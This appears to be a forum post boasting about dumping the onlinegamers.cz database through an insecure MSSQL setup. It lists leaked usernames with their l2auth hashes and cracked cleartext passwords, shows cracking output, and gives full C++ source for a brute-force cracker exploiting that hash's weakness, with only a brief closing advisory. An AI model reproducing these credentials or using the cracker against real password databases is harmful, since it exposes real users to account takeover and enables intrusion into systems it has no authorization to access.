We managed to crack C4 l2auth password hashes in nominal time and successfully cracked whole onlinegamers.cz database (it was pretty easy to dump their database cause they don't know how to setup mssql securely), small example:
yurii2 : 0x452EE4C0714EC7EBCE88B31ED3496F6F : yurii12345
yurii3 : 0x452EE4C0714EC7EBCE88B31ED3496F6F : yurii12345
yurii4 : 0x452EE4C0714EC7EBCE88B31ED3496F6F : yurii12345
Yuriik : 0xC9D81E75C8EDBE4075ECCACA079DBBBB : vanecka
Yurii : 0xC9D81E75C8EDBE4075ECCACA079DBBBB vanecka
yurikhan : 0xB539DD269BFD93BE8B123434F9634545 : peter7Y0
yuriko : 0x357A6689B817C47742DBFDFD30AA8C8C : 081p87
Yuri Prime : 0xA52FDE10AD94E98EBB220404C9537575 : litaon
Yuris : 0xA9A0BA5EE764ADA108318127EA705656 : fatimapP13
Yury : 0x25689971CCB29ACDF86147478A103636 : madcji
Yuske : 0xB5B1EDD4696C10A499228B8A47DDFBFB : dfabsf7hw
yusuf : 0x35C266BA03B8D0862FEADAA06DF7D1D1 : AbCbmfKA19N
yusuke : 0xA507789726A97ABBAA748D60AD371111 : lucayd3<eii
It's easy cause that hash is CRAP and has looooooooot of collisions...
./crack
0xC9D81E75C8EDBE4075ECCACA079DBBBB
vanecka (0xC9D81E75C8EDBE4075ECCACA079DBBBB)
0xC9D81E75C8EDBE4075ECCACA079DBBBB vanecka (took 0 seconds)
0xB539DD269BFD93BE8B123434F9634545
peter7Y0 (0xB539DD269BFD93BE8B123434F9634545)
0xB539DD269BFD93BE8B123434F9634545 peter7Y0 (took 3 seconds)
0x35C266BA03B8D0862FEADAA06DF7D1D1
AbCbmfKA19N (0x35C266BA03B8D0862FEADAA06DF7D1D1)
0x35C266BA03B8D0862FEADAA06DF7D1D1 AbCbmfKA19N (took 3 seconds)
What do you say to those times? :)
And it's really easy:
#include <map>
#include <fstream>
#include <vector>
#include <iostream>
#include <string>
#include <math.h>
#include <string.h>
std::string encrypt(const std::string &plain)
{
const static double arrayMul[4] = {213119, 213247, 213203, 213821};
const static double arrayAdd[4] = {2529077, 2529089, 2529589, 2529997};
unsigned char dst[16];
unsigned char key[16];
memset(dst, 0, 16);
memset(key, 0, 16);
double val[4];
memset(val, 0, sizeof(float)*4);
for (size_t i(0) ; i < 16 ; ++i) {
if (plain.size() > i) {
dst[i] = static_cast<unsigned char>(plain[i]);
key[i] = static_cast<unsigned char>(plain[i]);
} else {
dst[i] = 0;
key[i] = 0;
}
}
for (size_t i(0) ; i < 4 ; ++i) {
double x(key[i*4]);
x += key[i*4+1] << 8;
x += key[i*4+2] << 16;
x += key[i*4+3] << 24;
x *= arrayMul[i];
x += arrayAdd[i];
val[i] = fmod(x, 4294967296.0);
}
for (size_t i(0) ; i < 4 ; ++i) {
key[i*4+0] = static_cast<uint32_t>(val[i]) & 0xff;
key[i*4+1] = static_cast<uint32_t>(val[i] / 0x100) & 0xff;
key[i*4+2] = static_cast<uint32_t>(val[i] / 0x10000) & 0xff;
key[i*4+3] = static_cast<uint32_t>(val[i] / 0x1000000) & 0xff;
}
dst[0] ^= key[0];
for (size_t i(1) ; i < 16 ; ++i) {
dst[i] = dst[i] ^ dst[i-1] ^ key[i];
}
for (size_t i(0) ; i < 16 ; ++i) {
if (!dst[i]) {
dst[i] = 0x66;
}
}
std::string result("0x");
for (size_t i(0) ; i < 16 ; ++i) {
char x[3];
sprintf(x, "%02X", dst[i]);
result += x;
}
return result;
}
std::string tryPassword(const std::string &hash,
const std::string &chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~",
const std::string &possibility = std::string())
{
std::string result;
size_t j(possibility.size());
for (size_t i(0) ; i < chars.size() ; ++i) {
std::string s(possibility);
s.push_back(chars[i]);
std::string enc(encrypt(s));
// std::cerr << "Trying " << s << std::endl; // comment out to see what we're trying
if (enc.substr(0, 2+j*2) == hash.substr(0, 2+j*2)) {
if (enc == hash) {
std::cerr << s << " (" << enc << ")" << std::endl;
return s; // comment out to write out all possible passwords xD
}
std::string res(tryPassword(hash, chars, s));
if (!res.empty()) {
return res;
}
}
}
return "";
}
int main(int argc, char **argv)
{
std::map<std::string, std::string> crackMap;
std::istream *ifs;
if (argc != 1) {
ifs = new std::ifstream(argv[1]);
} else {
ifs = &std::cin;
}
for (;;) {
if (ifs->eof()) {
break;
}
std::string line;
getline(*ifs, line);
if (line.size() == 34) {
std::map<std::string, std::string>::const_iterator icrackMap(crackMap.find(line));
if (icrackMap != crackMap.end()) {
std::cout << line << " " << icrackMap->second << " (from cache)" << std::endl;
continue;
}
time_t t(time(0));
std::string password(tryPassword(line));
if (!password.empty()) {
crackMap.insert(std::make_pair(line, password));
int seconds(time(0) - t);
if (seconds < 60) {
std::cout << line << " " << password << " (took " << seconds << " seconds)" << std::endl;
} else if (seconds % 60) {
std::cout << line << " " << password << " (took " << (seconds / 60) << " minutes and " << (seconds % 60) << " seconds)" << std::endl;
} else {
std::cout << line << " " << password << " (took " << (seconds / 60) << " minutes" << std::endl;
}
}
} else {
size_t offset(line.find(":"));
if (offset != std::string::npos) {
std::string hash(line.substr(offset+1));
std::map<std::string, std::string>::const_iterator icrackMap(crackMap.find(hash));
if (icrackMap != crackMap.end()) {
std::cout << line.substr(0, offset) << ":" << icrackMap->second << std::endl;
continue;
}
std::string password(tryPassword(hash));
crackMap.insert(std::make_pair(hash, password));
if (!password.empty()) {
std::cout << line.substr(0, offset) << ":" << password << std::endl;
}
} else if (!line.empty()) {
std::cout << line << " " << encrypt(line) << std::endl;
}
}
}
return 0;
}
So we advise everybody out there using l2auth to switch to MD5 (there are some files needed on postpacific.com)